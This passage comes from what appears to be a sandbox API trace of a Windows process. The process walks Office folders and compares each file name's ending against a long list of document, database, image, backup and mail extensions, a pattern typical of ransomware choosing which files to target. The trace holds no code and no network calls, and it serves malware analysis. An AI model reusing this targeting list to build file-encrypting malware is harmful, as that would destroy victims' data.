(lpString1=".epsf", lpString2="W.XML") returned -1 [0074.789] lstrlenW (lpString=".epsp") returned 5 [0074.789] lstrcmpiW (lpString1=".epsp", lpString2="W.XML") returned -1 [0074.789] lstrlenW (lpString=".erf") returned 4 [0074.789] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".exr") returned 4 [0074.790] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".f4v") returned 4 [0074.790] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".fido") returned 5 [0074.790] lstrcmpiW (lpString1=".fido", lpString2="W.XML") returned -1 [0074.790] lstrlenW (lpString=".flm") returned 4 [0074.790] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".flv") returned 4 [0074.790] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".frm") returned 4 [0074.790] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".fxg") returned 4 [0074.790] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".geo") returned 4 [0074.790] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".gif") returned 4 [0074.790] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0074.790] lstrlenW (lpString=".grs") returned 4 [0074.791] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0074.791] lstrlenW (lpString=".gz") returned 3 [0074.791] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0074.791] lstrlenW (lpString=".h") returned 2 [0074.791] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0074.791] lstrlenW (lpString=".hdr") returned 4 [0074.791] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0074.791] lstrlenW (lpString=".hpp") returned 4 [0074.791] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0074.791] lstrlenW (lpString=".hta") returned 4 [0074.791] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0074.791] lstrlenW (lpString=".htc") returned 4 [0074.791] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0074.791] lstrlenW (lpString=".htm") returned 4 [0074.791] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0074.791] lstrlenW (lpString=".html") returned 5 [0074.791] lstrcmpiW (lpString1=".html", lpString2="W.XML") returned -1 [0074.791] lstrlenW (lpString=".icb") returned 4 [0074.791] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0074.791] lstrlenW (lpString=".ics") returned 4 [0074.791] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".iff") returned 4 [0074.792] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".inc") returned 4 [0074.792] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".indd") returned 5 [0074.792] lstrcmpiW (lpString1=".indd", lpString2="W.XML") returned -1 [0074.792] lstrlenW (lpString=".ini") returned 4 [0074.792] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".iqy") returned 4 [0074.792] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".j2c") returned 4 [0074.792] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".j2k") returned 4 [0074.792] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".java") returned 5 [0074.792] lstrcmpiW (lpString1=".java", lpString2="W.XML") returned -1 [0074.792] lstrlenW (lpString=".jp2") returned 4 [0074.792] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0074.792] lstrlenW (lpString=".jpc") returned 4 [0074.793] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".jpe") returned 4 [0074.793] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".jpeg") returned 5 [0074.793] lstrcmpiW (lpString1=".jpeg", lpString2="W.XML") returned -1 [0074.793] lstrlenW (lpString=".jpf") returned 4 [0074.793] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".jpg") returned 4 [0074.793] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".jpx") returned 4 [0074.793] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".js") returned 3 [0074.793] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0074.793] lstrlenW (lpString=".jsf") returned 4 [0074.793] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".json") returned 5 [0074.793] lstrcmpiW (lpString1=".json", lpString2="W.XML") returned -1 [0074.793] lstrlenW (lpString=".jsp") returned 4 [0074.793] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".kdc") returned 4 [0074.793] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0074.793] lstrlenW (lpString=".kmz") returned 4 [0074.794] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".kwm") returned 4 [0074.794] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".lasso") returned 6 [0074.794] lstrcmpiW (lpString1=".lasso", lpString2="WW.XML") returned -1 [0074.794] lstrlenW (lpString=".lbi") returned 4 [0074.794] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".lgf") returned 4 [0074.794] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".lgp") returned 4 [0074.794] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".log") returned 4 [0074.794] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".m1v") returned 4 [0074.794] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".m4a") returned 4 [0074.794] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".m4v") returned 4 [0074.794] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".max") returned 4 [0074.794] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0074.794] lstrlenW (lpString=".md") returned 3 [0074.795] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0074.795] lstrlenW (lpString=".mda") returned 4 [0074.795] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mdb") returned 4 [0074.795] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mde") returned 4 [0074.795] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mdf") returned 4 [0074.795] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mdw") returned 4 [0074.795] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mef") returned 4 [0074.795] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mft") returned 4 [0074.795] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mfw") returned 4 [0074.795] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mht") returned 4 [0074.795] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0074.795] lstrlenW (lpString=".mhtml") returned 6 [0074.796] lstrcmpiW (lpString1=".mhtml", lpString2="WW.XML") returned -1 [0074.796] lstrlenW (lpString=".mka") returned 4 [0074.796] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0074.796] lstrlenW (lpString=".mkidx") returned 6 [0074.796] lstrcmpiW (lpString1=".mkidx", lpString2="WW.XML") returned -1 [0074.796] lstrlenW (lpString=".mkv") returned 4 [0074.796] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0074.796] lstrlenW (lpString=".mos") returned 4 [0074.796] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0074.796] lstrlenW (lpString=".mov") returned 4 [0074.796] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0074.796] lstrlenW (lpString=".mp3") returned 4 [0074.796] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0074.796] lstrlenW (lpString=".mp4") returned 4 [0074.796] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0074.796] lstrlenW (lpString=".mpeg") returned 5 [0074.796] lstrcmpiW (lpString1=".mpeg", lpString2="W.XML") returned -1 [0074.796] lstrlenW (lpString=".mpg") returned 4 [0074.796] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0074.796] lstrlenW (lpString=".mpv") returned 4 [0074.796] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".mrw") returned 4 [0074.797] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".msg") returned 4 [0074.797] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".mxl") returned 4 [0074.797] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".myd") returned 4 [0074.797] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".myi") returned 4 [0074.797] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".nef") returned 4 [0074.797] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".nrw") returned 4 [0074.797] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".obj") returned 4 [0074.797] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".odb") returned 4 [0074.797] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0074.797] lstrlenW (lpString=".odc") returned 4 [0074.797] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".odm") returned 4 [0074.798] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".odp") returned 4 [0074.798] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".ods") returned 4 [0074.798] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".oft") returned 4 [0074.798] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".one") returned 4 [0074.798] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".onepkg") returned 7 [0074.798] lstrcmpiW (lpString1=".onepkg", lpString2="2WW.XML") returned -1 [0074.798] lstrlenW (lpString=".onetoc2") returned 8 [0074.798] lstrcmpiW (lpString1=".onetoc2", lpString2="32WW.XML") returned -1 [0074.798] lstrlenW (lpString=".opt") returned 4 [0074.798] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".oqy") returned 4 [0074.798] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0074.798] lstrlenW (lpString=".orf") returned 4 [0074.798] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".p12") returned 4 [0074.799] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".p7b") returned 4 [0074.799] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".p7c") returned 4 [0074.799] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".pam") returned 4 [0074.799] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".pbm") returned 4 [0074.799] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".pct") returned 4 [0074.799] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".pcx") returned 4 [0074.799] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".pdd") returned 4 [0074.799] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0074.799] lstrlenW (lpString=".pdf") returned 4 [0074.799] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".pdp") returned 4 [0074.800] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".pef") returned 4 [0074.800] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".pem") returned 4 [0074.800] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".pff") returned 4 [0074.800] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".pfm") returned 4 [0074.800] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".pfx") returned 4 [0074.800] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".pgm") returned 4 [0074.800] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".php") returned 4 [0074.800] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0074.800] lstrlenW (lpString=".php3") returned 5 [0074.800] lstrcmpiW (lpString1=".php3", lpString2="W.XML") returned -1 [0074.800] lstrlenW (lpString=".php4") returned 5 [0074.800] lstrcmpiW (lpString1=".php4", lpString2="W.XML") returned -1 [0074.800] lstrlenW (lpString=".php5") returned 5 [0074.801] lstrcmpiW (lpString1=".php5", lpString2="W.XML") returned -1 [0074.801] lstrlenW (lpString=".phtml") returned 6 [0074.801] lstrcmpiW (lpString1=".phtml", lpString2="WW.XML") returned -1 [0074.801] lstrlenW (lpString=".pict") returned 5 [0074.801] lstrcmpiW (lpString1=".pict", lpString2="W.XML") returned -1 [0074.801] lstrlenW (lpString=".pl") returned 3 [0074.801] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0074.801] lstrlenW (lpString=".pls") returned 4 [0074.801] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0074.801] lstrlenW (lpString=".pm") returned 3 [0074.801] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0074.801] lstrlenW (lpString=".png") returned 4 [0074.801] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0074.801] lstrlenW (lpString=".pnm") returned 4 [0074.802] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0074.802] lstrlenW (lpString=".pot") returned 4 [0074.802] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0074.802] lstrlenW (lpString=".potm") returned 5 [0074.802] lstrcmpiW (lpString1=".potm", lpString2="W.XML") returned -1 [0074.802] lstrlenW (lpString=".potx") returned 5 [0074.802] lstrcmpiW (lpString1=".potx", lpString2="W.XML") returned -1 [0074.802] lstrlenW (lpString=".ppa") returned 4 [0074.802] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0074.802] lstrlenW (lpString=".ppam") returned 5 [0074.802] lstrcmpiW (lpString1=".ppam", lpString2="W.XML") returned -1 [0074.802] lstrlenW (lpString=".ppm") returned 4 [0074.802] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0074.802] lstrlenW (lpString=".pps") returned 4 [0074.802] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0074.802] lstrlenW (lpString=".ppsm") returned 5 [0074.803] lstrcmpiW (lpString1=".ppsm", lpString2="W.XML") returned -1 [0074.803] lstrlenW (lpString=".ppt") returned 4 [0074.803] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.803] lstrlenW (lpString=".pptm") returned 5 [0074.803] lstrcmpiW (lpString1=".pptm", lpString2="W.XML") returned -1 [0074.803] lstrlenW (lpString=".pptx") returned 5 [0074.803] lstrcmpiW (lpString1=".pptx", lpString2="W.XML") returned -1 [0074.803] lstrlenW (lpString=".prn") returned 4 [0074.803] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0074.803] lstrlenW (lpString=".ps") returned 3 [0074.803] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0074.803] lstrlenW (lpString=".psb") returned 4 [0074.803] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0074.803] lstrlenW (lpString=".psd") returned 4 [0074.803] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0074.803] lstrlenW (lpString=".pst") returned 4 [0074.803] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0074.803] lstrlenW (lpString=".ptx") returned 4 [0074.803] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0074.804] lstrlenW (lpString=".pub") returned 4 [0074.804] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0074.804] lstrlenW (lpString=".pwm") returned 4 [0074.804] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0074.804] lstrlenW (lpString=".pxr") returned 4 [0074.804] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0074.804] lstrlenW (lpString=".py") returned 3 [0074.804] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0074.804] lstrlenW (lpString=".qt") returned 3 [0074.804] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0074.804] lstrlenW (lpString=".r3d") returned 4 [0074.804] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0074.804] lstrlenW (lpString=".raf") returned 4 [0074.804] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1 [0074.804] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.804] lstrcmpiW (lpString1=".raw", lpString2=".XML") returned -1 [0074.804] lstrcmpiW (lpString1=".rdf", lpString2=".XML") returned -1 [0074.805] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0074.805] FindClose (in: hFindFile=0x3ee3260 | out: hFindFile=0x3ee3260) returned 1 [0074.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f43ff8 | out: hHeap=0x5d0000) returned 1 [0074.805] FindNextFileW (in: hFindFile=0x3ee31a0, lpFindFileData=0x2eef094 | out: lpFindFileData=0x2eef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0074.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned 93 [0074.806] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned 1 [0074.806] lstrlenW (lpString="OneNote.en-us") returned 13 [0074.806] lstrcmpiW (lpString1="C:\\Windows", lpString2="OneNote.en-us") returned -1 [0074.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f43ff8 [0074.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned 93 [0074.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3260 [0074.808] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.808] FindNextFileW (in: hFindFile=0x3ee3260, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0074.808] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0074.808] lstrlenW (lpString=".1cd") returned 4 [0074.808] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.808] lstrlenW (lpString=".3ds") returned 4 [0074.809] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0074.809] lstrlenW (lpString=".3fr") returned 4 [0074.809] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0074.809] lstrlenW (lpString=".3g2") returned 4 [0074.809] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0074.809] lstrlenW (lpString=".3gp") returned 4 [0074.809] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0074.809] lstrlenW (lpString=".7z") returned 3 [0074.809] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.809] lstrlenW (lpString=".accda") returned 6 [0074.809] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0074.809] lstrlenW (lpString=".accdb") returned 6 [0074.809] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0074.809] lstrlenW (lpString=".accdc") returned 6 [0074.809] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0074.809] lstrlenW (lpString=".accde") returned 6 [0074.809] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0074.809] lstrlenW (lpString=".accdt") returned 6 [0074.809] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0074.809] lstrlenW (lpString=".accdw") returned 6 [0074.809] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 [0074.809] lstrlenW (lpString=".adb") returned 4 [0074.809] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0074.809] lstrlenW (lpString=".adp") returned 4 [0074.809] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".ai") returned 3 [0074.810] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0074.810] lstrlenW (lpString=".ai3") returned 4 [0074.810] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".ai4") returned 4 [0074.810] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".ai5") returned 4 [0074.810] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".ai6") returned 4 [0074.810] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".ai7") returned 4 [0074.810] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".ai8") returned 4 [0074.810] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".anim") returned 5 [0074.810] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0074.810] lstrlenW (lpString=".arw") returned 4 [0074.810] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0074.810] lstrlenW (lpString=".as") returned 3 [0074.810] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0074.810] lstrlenW (lpString=".asa") returned 4 [0074.810] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".asc") returned 4 [0074.811] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".ascx") returned 5 [0074.811] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0074.811] lstrlenW (lpString=".asm") returned 4 [0074.811] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".asmx") returned 5 [0074.811] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0074.811] lstrlenW (lpString=".asp") returned 4 [0074.811] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".aspx") returned 5 [0074.811] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0074.811] lstrlenW (lpString=".asr") returned 4 [0074.811] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".asx") returned 4 [0074.811] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".avi") returned 4 [0074.811] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".avs") returned 4 [0074.811] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".backup") returned 7 [0074.811] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0074.811] lstrlenW (lpString=".bak") returned 4 [0074.811] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0074.811] lstrlenW (lpString=".bay") returned 4 [0074.812] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".bd") returned 3 [0074.812] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0074.812] lstrlenW (lpString=".bin") returned 4 [0074.812] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".bmp") returned 4 [0074.812] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".bz2") returned 4 [0074.812] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".c") returned 2 [0074.812] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0074.812] lstrlenW (lpString=".cdr") returned 4 [0074.812] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".cer") returned 4 [0074.812] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".cf") returned 3 [0074.812] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0074.812] lstrlenW (lpString=".cfc") returned 4 [0074.812] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".cfm") returned 4 [0074.812] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0074.812] lstrlenW (lpString=".cfml") returned 5 [0074.813] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0074.813] lstrlenW (lpString=".cfu") returned 4 [0074.813] lstrcmpiW 